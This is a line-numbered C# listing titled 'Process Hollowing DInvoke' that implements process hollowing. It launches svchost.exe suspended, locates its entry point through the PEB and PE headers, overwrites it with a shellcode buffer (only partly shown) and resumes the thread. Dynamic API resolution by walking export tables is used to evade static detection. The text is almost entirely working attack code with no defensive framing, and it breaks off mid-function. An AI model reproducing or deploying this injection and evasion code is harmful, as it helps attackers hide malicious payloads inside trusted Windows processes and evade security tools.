Process Hollowing DInvoke
Process Howing and DInvoke
1
using System;
2
using System.Collections.Generic;
3
using System.Diagnostics;
4
using System.IO;
5
using System.Linq;
6
using System.Runtime.InteropServices;
7
using System.Text;
8
​
9
namespace Hollow
10
{
11
class Program
12
{
13
​
14
static void Main(string[] args)
15
{
16
​
17
IntPtr pointer = Invoke.GetLibraryAddress("kernel32.dll", "CreateProcessA");
18
DELEGATES.CreateProcess CreateProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.CreateProcess)) as DELEGATES.CreateProcess;
19
20
pointer = Invoke.GetLibraryAddress("Ntdll.dll", "ZwQueryInformationProcess");
21
DELEGATES.ZwQueryInformationProcess ZwQueryInformationProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.ZwQueryInformationProcess)) as DELEGATES.ZwQueryInformationProcess;
22
​
23
pointer = Invoke.GetLibraryAddress("kernel32.dll", "ReadProcessMemory");
24
DELEGATES.ReadProcessMemory ReadProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.ReadProcessMemory)) as DELEGATES.ReadProcessMemory;
25
​
26
pointer = Invoke.GetLibraryAddress("kernel32.dll", "WriteProcessMemory");
27
DELEGATES.WriteProcessMemory WriteProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.WriteProcessMemory)) as DELEGATES.WriteProcessMemory;
28
​
29
pointer = Invoke.GetLibraryAddress("kernel32.dll", "ResumeThread");
30
DELEGATES.ResumeThread ResumeThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DELEGATES.ResumeThread)) as DELEGATES.ResumeThread;
31
​
32
STRUCTS.STARTUPINFO si = new STRUCTS.STARTUPINFO();
33
STRUCTS.PROCESS_INFORMATION pi = new STRUCTS.PROCESS_INFORMATION();
34
STRUCTS.SECURITY_ATTRIBUTES lpa = new STRUCTS.SECURITY_ATTRIBUTES();
35
STRUCTS.SECURITY_ATTRIBUTES lta = new STRUCTS.SECURITY_ATTRIBUTES();
36
STRUCTS.PROCESS_BASIC_INFORMATION pbi = new STRUCTS.PROCESS_BASIC_INFORMATION();
37
uint temp = 0;
38
​
39
​
40
bool succ = CreateProcess(null, "C:\\windows\\system32\\svchost.exe", ref lpa, ref lta, false, STRUCTS.ProcessCreationFlags.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
41
if (succ)
42
{
43
Console.WriteLine("Process Created");
44
Console.WriteLine(" |Process ID->" + pi.dwProcessId);
45
}
46
​
47
UInt32 success = ZwQueryInformationProcess(pi.hProcess, 0x0, ref pbi, (uint)(IntPtr.Size * 6), ref temp);
48
​
49
IntPtr ptrToBaseImage = (IntPtr)((Int64)pbi.PebBaseAddress + 0x10);
50
byte[] addrBuf = new byte[IntPtr.Size];
51
IntPtr nread = IntPtr.Zero;
52
​
53
succ = ReadProcessMemory(pi.hProcess, ptrToBaseImage, addrBuf, addrBuf.Length, out nread);
54
if (succ)
55
{
56
Console.WriteLine("Process Read");
57
}
58
IntPtr processBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));
59
​
60
byte[] data = new byte[0x200];
61
ReadProcessMemory(pi.hProcess, processBase, data, data.Length, out nread);
62
​
63
uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3c);
64
uint opthdr = e_lfanew_offset + 0x28;
65
uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
66
IntPtr addressofentrypoint = (IntPtr)(entrypoint_rva+(UInt64)processBase);
67
​
68
WriteProcessMemory(pi.hProcess, addressofentrypoint, buf(), buf().Length, out nread);
69
ResumeThread(pi.hThread);
70
}
71
​
72
static byte[] buf()
73
{
74
byte[] sc = new byte[276] {
75
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52 };
76
return sc;
77
}
78
​
79
80
}
81
​
82
public class DELEGATES
83
{
84
​
85
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
86
//public delegate Boolean CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, STRUCTS.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STRUCTS.STARTUPINFO lpStartupInfo, out STRUCTS.PROCESS_INFORMATION lpProcessInformation);
87
public delegate Boolean CreateProcess(string lpApplicationName, string lpCommandLine, ref STRUCTS.SECURITY_ATTRIBUTES lpProcessAttributes, ref STRUCTS.SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, STRUCTS.ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STRUCTS.STARTUPINFO lpStartupInfo, out STRUCTS.PROCESS_INFORMATION lpProcessInformation);
88
​
89
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
90
public delegate UInt32 ZwQueryInformationProcess(IntPtr hProcess, Int32 procInformationClass, ref STRUCTS.PROCESS_BASIC_INFORMATION procInformation, UInt32 ProcInfoLen, ref UInt32 retlen);
91
​
92
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
93
public delegate bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesRead);
94
​
95
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
96
public delegate bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
97
​
98
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
99
public delegate IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
100
​
101
​
102
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
103
public delegate IntPtr OpenThread(STRUCTS.ThreadAccess dwDesiredAccess, bool bInheritHandle, int dwThreadId);
104
​
105
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
106
public delegate Boolean VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, uint flNewProtect, out uint lpflOldProtect);
107
​
108
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
109
public delegate IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
110
​
111
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
112
public delegate uint ResumeThread(IntPtr hThhread);
113
​
114
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
115
public delegate UInt32 LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle);
116
​
117
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
118
public delegate void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString);
119
}
120
​
121
public class STRUCTS
122
{
123
​
124
[Flags]
125
public enum ProcessCreationFlags : uint
126
{
127
ZERO_FLAG = 0x00000000,
128
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
129
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
130
CREATE_NEW_CONSOLE = 0x00000010,
131
CREATE_NEW_PROCESS_GROUP = 0x00000200,
132
CREATE_NO_WINDOW = 0x08000000,
133
CREATE_PROTECTED_PROCESS = 0x00040000,
134
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
135
CREATE_SEPARATE_WOW_VDM = 0x00001000,
136
CREATE_SHARED_WOW_VDM = 0x00001000,
137
CREATE_SUSPENDED = 0x00000004,
138
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
139
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
140
DEBUG_PROCESS = 0x00000001,
141
DETACHED_PROCESS = 0x00000008,
142
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
143
INHERIT_PARENT_AFFINITY = 0x00010000
144
}
145
​
146
[Flags]
147
public enum ThreadAccess : int
148
{
149
TERMINATE = (0x0001),
150
SUSPEND_RESUME = (0x0002),
151
GET_CONTEXT = (0x0008),
152
SET_CONTEXT = (0x0010),
153
SET_INFORMATION = (0x0020),
154
QUERY_INFORMATION = (0x0040),
155
SET_THREAD_TOKEN = (0x0080),
156
IMPERSONATE = (0x0100),
157
DIRECT_IMPERSONATION = (0x0200),
158
THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
159
THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
160
}
161
public struct PROCESS_INFORMATION
162
{
163
public IntPtr hProcess;
164
public IntPtr hThread;
165
public uint dwProcessId;
166
public uint dwThreadId;
167
}
168
​
169
public struct PROCESS_BASIC_INFORMATION
170
{
171
public STRUCTS.NTSTATUS ExitStatus;
172
public IntPtr PebBaseAddress;
173
public UIntPtr AffinityMask;
174
public int BasePriority;
175
public UIntPtr UniqueProcessId;
176
public UIntPtr InheritedFromUniqueProcessId;
177
}
178
​
179
​
180
public struct SECURITY_ATTRIBUTES
181
{
182
public int nLength;
183
public IntPtr lpSecurityDescriptor;
184
public int bInheritHandle;
185
}
186
​
187
​
188
public struct STARTUPINFO
189
{
190
public uint cb;
191
public string lpReserved;
192
public string lpDesktop;
193
public string lpTitle;
194
public uint dwX;
195
public uint dwY;
196
public uint dwXSize;
197
public uint dwYSize;
198
public uint dwXCountChars;
199
public uint dwYCountChars;
200
public uint dwFillAttribute;
201
public uint dwFlags;
202
public short wShowWindow;
203
public short cbReserved2;
204
public IntPtr lpReserved2;
205
public IntPtr hStdInput;
206
public IntPtr hStdOutput;
207
public IntPtr hStdError;
208
}
209
​
210
[StructLayout(LayoutKind.Sequential)]
211
public struct UNICODE_STRING
212
{
213
public UInt16 Length;
214
public UInt16 MaximumLength;
215
public IntPtr Buffer;
216
}
217
​
218
/// <summary>
219
/// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55
220
/// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html
221
/// </summary>
222
public enum NTSTATUS : uint
223
{
224
// Success
225
Success = 0x00000000,
226
Wait0 = 0x00000000,
227
Wait1 = 0x00000001,
228
Wait2 = 0x00000002,
229
Wait3 = 0x00000003,
230
Wait63 = 0x0000003f,
231
Abandoned = 0x00000080,
232
AbandonedWait0 = 0x00000080,
233
AbandonedWait1 = 0x00000081,
234
AbandonedWait2 = 0x00000082,
235
AbandonedWait3 = 0x00000083,
236
AbandonedWait63 = 0x000000bf,
237
UserApc = 0x000000c0,
238
KernelApc = 0x00000100,
239
Alerted = 0x00000101,
240
Timeout = 0x00000102,
241
Pending = 0x00000103,
242
Reparse = 0x00000104,
243
MoreEntries = 0x00000105,
244
NotAllAssigned = 0x00000106,
245
SomeNotMapped = 0x00000107,
246
OpLockBreakInProgress = 0x00000108,
247
VolumeMounted = 0x00000109,
248
RxActCommitted = 0x0000010a,
249
NotifyCleanup = 0x0000010b,
250
NotifyEnumDir = 0x0000010c,
251
NoQuotasForAccount = 0x0000010d,
252
PrimaryTransportConnectFailed = 0x0000010e,
253
PageFaultTransition = 0x00000110,
254
PageFaultDemandZero = 0x00000111,
255
PageFaultCopyOnWrite = 0x00000112,
256
PageFaultGuardPage = 0x00000113,
257
PageFaultPagingFile = 0x00000114,
258
CrashDump = 0x00000116,
259
ReparseObject = 0x00000118,
260
NothingToTerminate = 0x00000122,
261
ProcessNotInJob = 0x00000123,
262
ProcessInJob = 0x00000124,
263
ProcessCloned = 0x00000129,
264
FileLockedWithOnlyReaders = 0x0000012a,
265
FileLockedWithWriters = 0x0000012b,
266
​
267
// Informational
268
Informational = 0x40000000,
269
ObjectNameExists = 0x40000000,
270
ThreadWasSuspended = 0x40000001,
271
WorkingSetLimitRange = 0x40000002,
272
ImageNotAtBase = 0x40000003,
273
RegistryRecovered = 0x40000009,
274
​
275
// Warning
276
Warning = 0x80000000,
277
GuardPageViolation = 0x80000001,
278
DatatypeMisalignment = 0x80000002,
279
Breakpoint = 0x80000003,
280
SingleStep = 0x80000004,
281
BufferOverflow = 0x80000005,
282
NoMoreFiles = 0x80000006,
283
HandlesClosed = 0x8000000a,
284
PartialCopy = 0x8000000d,
285
DeviceBusy = 0x80000011,
286
InvalidEaName = 0x80000013,
287
EaListInconsistent = 0x80000014,
288
NoMoreEntries = 0x8000001a,
289
LongJump = 0x80000026,
290
DllMightBeInsecure = 0x8000002b,
291
​
292
// Error
293
Error = 0xc0000000,
294
Unsuccessful = 0xc0000001,
295
NotImplemented = 0xc0000002,
296
InvalidInfoClass = 0xc0000003,
297
InfoLengthMismatch = 0xc0000004,
298
AccessViolation = 0xc0000005,
299
InPageError = 0xc0000006,
300
PagefileQuota = 0xc0000007,
301
InvalidHandle = 0xc0000008,
302
BadInitialStack = 0xc0000009,
303
BadInitialPc = 0xc000000a,
304
InvalidCid = 0xc000000b,
305
TimerNotCanceled = 0xc000000c,
306
InvalidParameter = 0xc000000d,
307
NoSuchDevice = 0xc000000e,
308
NoSuchFile = 0xc000000f,
309
InvalidDeviceRequest = 0xc0000010,
310
EndOfFile = 0xc0000011,
311
WrongVolume = 0xc0000012,
312
NoMediaInDevice = 0xc0000013,
313
NoMemory = 0xc0000017,
314
ConflictingAddresses = 0xc0000018,
315
NotMappedView = 0xc0000019,
316
UnableToFreeVm = 0xc000001a,
317
UnableToDeleteSection = 0xc000001b,
318
IllegalInstruction = 0xc000001d,
319
AlreadyCommitted = 0xc0000021,
320
AccessDenied = 0xc0000022,
321
BufferTooSmall = 0xc0000023,
322
ObjectTypeMismatch = 0xc0000024,
323
NonContinuableException = 0xc0000025,
324
BadStack = 0xc0000028,
325
NotLocked = 0xc000002a,
326
NotCommitted = 0xc000002d,
327
InvalidParameterMix = 0xc0000030,
328
ObjectNameInvalid = 0xc0000033,
329
ObjectNameNotFound = 0xc0000034,
330
ObjectNameCollision = 0xc0000035,
331
ObjectPathInvalid = 0xc0000039,
332
ObjectPathNotFound = 0xc000003a,
333
ObjectPathSyntaxBad = 0xc000003b,
334
DataOverrun = 0xc000003c,
335
DataLate = 0xc000003d,
336
DataError = 0xc000003e,
337
CrcError = 0xc000003f,
338
SectionTooBig = 0xc0000040,
339
PortConnectionRefused = 0xc0000041,
340
InvalidPortHandle = 0xc0000042,
341
SharingViolation = 0xc0000043,
342
QuotaExceeded = 0xc0000044,
343
InvalidPageProtection = 0xc0000045,
344
MutantNotOwned = 0xc0000046,
345
SemaphoreLimitExceeded = 0xc0000047,
346
PortAlreadySet = 0xc0000048,
347
SectionNotImage = 0xc0000049,
348
SuspendCountExceeded = 0xc000004a,
349
ThreadIsTerminating = 0xc000004b,
350
BadWorkingSetLimit = 0xc000004c,
351
IncompatibleFileMap = 0xc000004d,
352
SectionProtection = 0xc000004e,
353
EasNotSupported = 0xc000004f,
354
EaTooLarge = 0xc0000050,
355
NonExistentEaEntry = 0xc0000051,
356
NoEasOnFile = 0xc0000052,
357
EaCorruptError = 0xc0000053,
358
FileLockConflict = 0xc0000054,
359
LockNotGranted = 0xc0000055,
360
DeletePending = 0xc0000056,
361
CtlFileNotSupported = 0xc0000057,
362
UnknownRevision = 0xc0000058,
363
RevisionMismatch = 0xc0000059,
364
InvalidOwner = 0xc000005a,
365
InvalidPrimaryGroup = 0xc000005b,
366
NoImpersonationToken = 0xc000005c,
367
CantDisableMandatory = 0xc000005d,
368
NoLogonServers = 0xc000005e,
369
NoSuchLogonSession = 0xc000005f,
370
NoSuchPrivilege = 0xc0000060,
371
PrivilegeNotHeld = 0xc0000061,
372
InvalidAccountName = 0xc0000062,
373
UserExists = 0xc0000063,
374
NoSuchUser = 0xc0000064,
375
GroupExists = 0xc0000065,
376
NoSuchGroup = 0xc0000066,
377
MemberInGroup = 0xc0000067,
378
MemberNotInGroup = 0xc0000068,
379
LastAdmin = 0xc0000069,
380
WrongPassword = 0xc000006a,
381
IllFormedPassword = 0xc000006b,
382
PasswordRestriction = 0xc000006c,
383
LogonFailure = 0xc000006d,
384
AccountRestriction = 0xc000006e,
385
InvalidLogonHours = 0xc000006f,
386
InvalidWorkstation = 0xc0000070,
387
PasswordExpired = 0xc0000071,
388
AccountDisabled = 0xc0000072,
389
NoneMapped = 0xc0000073,
390
TooManyLuidsRequested = 0xc0000074,
391
LuidsExhausted = 0xc0000075,
392
InvalidSubAuthority = 0xc0000076,
393
InvalidAcl = 0xc0000077,
394
InvalidSid = 0xc0000078,
395
InvalidSecurityDescr = 0xc0000079,
396
ProcedureNotFound = 0xc000007a,
397
InvalidImageFormat = 0xc000007b,
398
NoToken = 0xc000007c,
399
BadInheritanceAcl = 0xc000007d,
400
RangeNotLocked = 0xc000007e,
401
DiskFull = 0xc000007f,
402
ServerDisabled = 0xc0000080,
403
ServerNotDisabled = 0xc0000081,
404
TooManyGuidsRequested = 0xc0000082,
405
GuidsExhausted = 0xc0000083,
406
InvalidIdAuthority = 0xc0000084,
407
AgentsExhausted = 0xc0000085,
408
InvalidVolumeLabel = 0xc0000086,
409
SectionNotExtended = 0xc0000087,
410
NotMappedData = 0xc0000088,
411
ResourceDataNotFound = 0xc0000089,
412
ResourceTypeNotFound = 0xc000008a,
413
ResourceNameNotFound = 0xc000008b,
414
ArrayBoundsExceeded = 0xc000008c,
415
FloatDenormalOperand = 0xc000008d,
416
FloatDivideByZero = 0xc000008e,
417
FloatInexactResult = 0xc000008f,
418
FloatInvalidOperation = 0xc0000090,
419
FloatOverflow = 0xc0000091,
420
FloatStackCheck = 0xc0000092,
421
FloatUnderflow = 0xc0000093,
422
IntegerDivideByZero = 0xc0000094,
423
IntegerOverflow = 0xc0000095,
424
PrivilegedInstruction = 0xc0000096,
425
TooManyPagingFiles = 0xc0000097,
426
FileInvalid = 0xc0000098,
427
InsufficientResources = 0xc000009a,
428
InstanceNotAvailable = 0xc00000ab,
429
PipeNotAvailable = 0xc00000ac,
430
InvalidPipeState = 0xc00000ad,
431
PipeBusy = 0xc00000ae,
432
IllegalFunction = 0xc00000af,
433
PipeDisconnected = 0xc00000b0,
434
PipeClosing = 0xc00000b1,
435
PipeConnected = 0xc00000b2,
436
PipeListening = 0xc00000b3,
437
InvalidReadMode = 0xc00000b4,
438
IoTimeout = 0xc00000b5,
439
FileForcedClosed = 0xc00000b6,
440
ProfilingNotStarted = 0xc00000b7,
441
ProfilingNotStopped = 0xc00000b8,
442
NotSameDevice = 0xc00000d4,
443
FileRenamed = 0xc00000d5,
444
CantWait = 0xc00000d8,
445
PipeEmpty = 0xc00000d9,
446
CantTerminateSelf = 0xc00000db,
447
InternalError = 0xc00000e5,
448
InvalidParameter1 = 0xc00000ef,
449
InvalidParameter2 = 0xc00000f0,
450
InvalidParameter3 = 0xc00000f1,
451
InvalidParameter4 = 0xc00000f2,
452
InvalidParameter5 = 0xc00000f3,
453
InvalidParameter6 = 0xc00000f4,
454
InvalidParameter7 = 0xc00000f5,
455
InvalidParameter8 = 0xc00000f6,
456
InvalidParameter9 = 0xc00000f7,
457
InvalidParameter10 = 0xc00000f8,
458
InvalidParameter11 = 0xc00000f9,
459
InvalidParameter12 = 0xc00000fa,
460
ProcessIsTerminating = 0xc000010a,
461
MappedFileSizeZero = 0xc000011e,
462
TooManyOpenedFiles = 0xc000011f,
463
Cancelled = 0xc0000120,
464
CannotDelete = 0xc0000121,
465
InvalidComputerName = 0xc0000122,
466
FileDeleted = 0xc0000123,
467
SpecialAccount = 0xc0000124,
468
SpecialGroup = 0xc0000125,
469
SpecialUser = 0xc0000126,
470
MembersPrimaryGroup = 0xc0000127,
471
FileClosed = 0xc0000128,
472
TooManyThreads = 0xc0000129,
473
ThreadNotInProcess = 0xc000012a,
474
TokenAlreadyInUse = 0xc000012b,
475
PagefileQuotaExceeded = 0xc000012c,
476
CommitmentLimit = 0xc000012d,
477
InvalidImageLeFormat = 0xc000012e,
478
InvalidImageNotMz = 0xc000012f,
479
InvalidImageProtect = 0xc0000130,
480
InvalidImageWin16 = 0xc0000131,
481
LogonServer = 0xc0000132,
482
DifferenceAtDc = 0xc0000133,
483
SynchronizationRequired = 0xc0000134,
484
DllNotFound = 0xc0000135,
485
IoPrivilegeFailed = 0xc0000137,
486
OrdinalNotFound = 0xc0000138,
487
EntryPointNotFound = 0xc0000139,
488
ControlCExit = 0xc000013a,
489
InvalidAddress = 0xc0000141,
490
PortNotSet = 0xc0000353,
491
DebuggerInactive = 0xc0000354,
492
CallbackBypass = 0xc0000503,
493
PortClosed = 0xc0000700,
494
MessageLost = 0xc0000701,
495
InvalidMessage = 0xc0000702,
496
RequestCanceled = 0xc0000703,
497
RecursiveDispatch = 0xc0000704,
498
LpcReceiveBufferExpected = 0xc0000705,
499
LpcInvalidConnectionUsage = 0xc0000706,
500
LpcRequestsNotAllowed = 0xc0000707,
501
ResourceInUse = 0xc0000708,
502
ProcessIsProtected = 0xc0000712,
503
VolumeDirty = 0xc0000806,
504
FileCheckedOut = 0xc0000901,
505
CheckOutRequired = 0xc0000902,
506
BadFileType = 0xc0000903,
507
FileTooLarge = 0xc0000904,
508
FormsAuthRequired = 0xc0000905,
509
VirusInfected = 0xc0000906,
510
VirusDeleted = 0xc0000907,
511
TransactionalConflict = 0xc0190001,
512
InvalidTransaction = 0xc0190002,
513
TransactionNotActive = 0xc0190003,
514
TmInitializationFailed = 0xc0190004,
515
RmNotActive = 0xc0190005,
516
RmMetadataCorrupt = 0xc0190006,
517
TransactionNotJoined = 0xc0190007,
518
DirectoryNotRm = 0xc0190008,
519
CouldNotResizeLog = 0xc0190009,
520
TransactionsUnsupportedRemote = 0xc019000a,
521
LogResizeInvalidSize = 0xc019000b,
522
RemoteFileVersionMismatch = 0xc019000c,
523
CrmProtocolAlreadyExists = 0xc019000f,
524
TransactionPropagationFailed = 0xc0190010,
525
CrmProtocolNotFound = 0xc0190011,
526
TransactionSuperiorExists = 0xc0190012,
527
TransactionRequestNotValid = 0xc0190013,
528
TransactionNotRequested = 0xc0190014,
529
TransactionAlreadyAborted = 0xc0190015,
530
TransactionAlreadyCommitted = 0xc0190016,
531
TransactionInvalidMarshallBuffer = 0xc0190017,
532
CurrentTransactionNotValid = 0xc0190018,
533
LogGrowthFailed = 0xc0190019,
534
ObjectNoLongerExists = 0xc0190021,
535
StreamMiniversionNotFound = 0xc0190022,
536
StreamMiniversionNotValid = 0xc0190023,
537
MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024,
538
CantOpenMiniversionWithModifyIntent = 0xc0190025,
539
CantCreateMoreStreamMiniversions = 0xc0190026,
540
HandleNoLongerValid = 0xc0190028,
541
NoTxfMetadata = 0xc0190029,
542
LogCorruptionDetected = 0xc0190030,
543
CantRecoverWithHandleOpen = 0xc0190031,
544
RmDisconnected = 0xc0190032,
545
EnlistmentNotSuperior = 0xc0190033,
546
RecoveryNotNeeded = 0xc0190034,
547
RmAlreadyStarted = 0xc0190035,
548
FileIdentityNotPersistent = 0xc0190036,
549
CantBreakTransactionalDependency = 0xc0190037,
550
CantCrossRmBoundary = 0xc0190038,
551
TxfDirNotEmpty = 0xc0190039,
552
IndoubtTransactionsExist = 0xc019003a,
553
TmVolatile = 0xc019003b,
554
RollbackTimerExpired = 0xc019003c,
555
TxfAttributeCorrupt = 0xc019003d,
556
EfsNotAllowedInTransaction = 0xc019003e,
557
TransactionalOpenNotAllowed = 0xc019003f,
558
TransactedMappingUnsupportedRemote = 0xc0190040,
559
TxfMetadataAlreadyPresent = 0xc0190041,
560
TransactionScopeCallbacksNotSet = 0xc0190042,
561
TransactionRequiredPromotion = 0xc0190043,
562
CannotExecuteFileInTransaction = 0xc0190044,
563
TransactionsNotFrozen = 0xc0190045,
564
​
565
MaximumNtStatus = 0xffffffff
566
}
567
​
568
​
569
​
570
}
571
​
572
public class Invoke
573
{
574
​
575
public static STRUCTS.NTSTATUS LdrLoadDll(IntPtr PathToFile, UInt32 dwFlags, ref STRUCTS.UNICODE_STRING ModuleFileName, ref IntPtr ModuleHandle)
576
{
577
// Craft an array for the arguments
578
object[] funcargs =
579
{
580
PathToFile, dwFlags, ModuleFileName, ModuleHandle
581
};
582
​
583
STRUCTS.NTSTATUS retValue = (STRUCTS.NTSTATUS)DynamicAPIInvoke(@"ntdll.dll", @"LdrLoadDll", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs);
584
​
585
// Update the modified variables
586
ModuleHandle = (IntPtr)funcargs[3];
587
​
588
return retValue;
589
}
590
​
591
public static void RtlInitUnicodeString(ref STRUCTS.UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString)
592
{
593
// Craft an array for the arguments
594
object[] funcargs =
595
{
596
DestinationString, SourceString
597
};
598
​
599
DynamicAPIInvoke(@"ntdll.dll", @"RtlInitUnicodeString", typeof(DELEGATES.RtlInitUnicodeString), ref funcargs);
600
​
601
// Update the modified variables
602
DestinationString = (STRUCTS.UNICODE_STRING)funcargs[0];
603
}
604
​
605
/// <summary>
606
/// Dynamically invoke an arbitrary function from a DLL, providing its name, function prototype, and arguments.
607
/// </summary>
608
/// <author>The Wover (@TheRealWover)</author>
609
/// <param name="DLLName">Name of the DLL.</param>
610
/// <param name="FunctionName">Name of the function.</param>
611
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
612
/// <param name="Parameters">Parameters to pass to the function. Can be modified if function uses call by reference.</param>
613
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
614
public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
615
{
616
IntPtr pFunction = GetLibraryAddress(DLLName, FunctionName);
617
return DynamicFunctionInvoke(pFunction, FunctionDelegateType, ref Parameters);
618
}
619
​
620
/// <summary>
621
/// Dynamically invokes an arbitrary function from a pointer. Useful for manually mapped modules or loading/invoking unmanaged code from memory.
622
/// </summary>
623
/// <author>The Wover (@TheRealWover)</author>
624
/// <param name="FunctionPointer">A pointer to the unmanaged function.</param>
625
/// <param name="FunctionDelegateType">Prototype for the function, represented as a Delegate object.</param>
626
/// <param name="Parameters">Arbitrary set of parameters to pass to the function. Can be modified if function uses call by reference.</param>
627
/// <returns>Object returned by the function. Must be unmarshalled by the caller.</returns>
628
public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
629
{
630
Delegate funcDelegate = Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType);
631
return funcDelegate.DynamicInvoke(Parameters);
632
}
633
​
634
​
635
/// <summary>
636
/// Resolves LdrLoadDll and uses that function to load a DLL from disk.
637
/// </summary>
638
/// <author>Ruben Boonen (@FuzzySec)</author>
639
/// <param name="DLLPath">The path to the DLL on disk. Uses the LoadLibrary convention.</param>
640
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module was not loaded successfully.</returns>
641
public static IntPtr LoadModuleFromDisk(string DLLPath)
642
{
643
STRUCTS.UNICODE_STRING uModuleName = new STRUCTS.UNICODE_STRING();
644
RtlInitUnicodeString(ref uModuleName, DLLPath);
645
​
646
IntPtr hModule = IntPtr.Zero;
647
STRUCTS.NTSTATUS CallResult = LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule);
648
if (CallResult != STRUCTS.NTSTATUS.Success || hModule == IntPtr.Zero)
649
{
650
return IntPtr.Zero;
651
}
652
​
653
return hModule;
654
}
655
​
656
/// <summary>
657
/// Helper for getting the base address of a module loaded by the current process. This base
658
/// address could be passed to GetProcAddress/LdrGetProcedureAddress or it could be used for
659
/// manual export parsing. This function uses the .NET System.Diagnostics.Process class.
660
/// </summary>
661
/// <author>Ruben Boonen (@FuzzySec)</author>
662
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll").</param>
663
/// <returns>IntPtr base address of the loaded module or IntPtr.Zero if the module is not found.</returns>
664
public static IntPtr GetLoadedModuleAddress(string DLLName)
665
{
666
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
667
foreach (ProcessModule Mod in ProcModules)
668
{
669
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
670
{
671
return Mod.BaseAddress;
672
}
673
}
674
return IntPtr.Zero;
675
}
676
​
677
/// <summary>
678
/// Helper for getting the pointer to a function from a DLL loaded by the process.
679
/// </summary>
680
/// <author>Ruben Boonen (@FuzzySec)</author>
681
/// <param name="DLLName">The name of the DLL (e.g. "ntdll.dll" or "C:\Windows\System32\ntdll.dll").</param>
682
/// <param name="FunctionName">Name of the exported procedure.</param>
683
/// <param name="CanLoadFromDisk">Optional, indicates if the function can try to load the DLL from disk if it is not found in the loaded module list.</param>
684
/// <returns>IntPtr for the desired function.</returns>
685
public static IntPtr GetLibraryAddress(string DLLName, string FunctionName, bool CanLoadFromDisk = false)
686
{
687
IntPtr hModule = GetLoadedModuleAddress(DLLName);
688
if (hModule == IntPtr.Zero && CanLoadFromDisk)
689
{
690
hModule = LoadModuleFromDisk(DLLName);
691
if (hModule == IntPtr.Zero)
692
{
693
throw new FileNotFoundException(DLLName + ", unable to find the specified file.");
694
}
695
}
696
else if (hModule == IntPtr.Zero)
697
{
698
throw new DllNotFoundException(DLLName + ", Dll was not found.");
699
}
700
​
701
return GetExportAddress(hModule, FunctionName);
702
}
703
​
704
/// <summary>
705
/// Given a module base address, resolve the address of a function by manually walking the module export table.
706
/// </summary>
707
/// <author>Ruben Boonen (@FuzzySec)</author>
708
/// <param name="ModuleBase">A pointer to the base address where the module is loaded in the current process.</param>
709
/// <param name="ExportName">The name of the export to search for (e.g. "NtAlertResumeThread").</param>
710
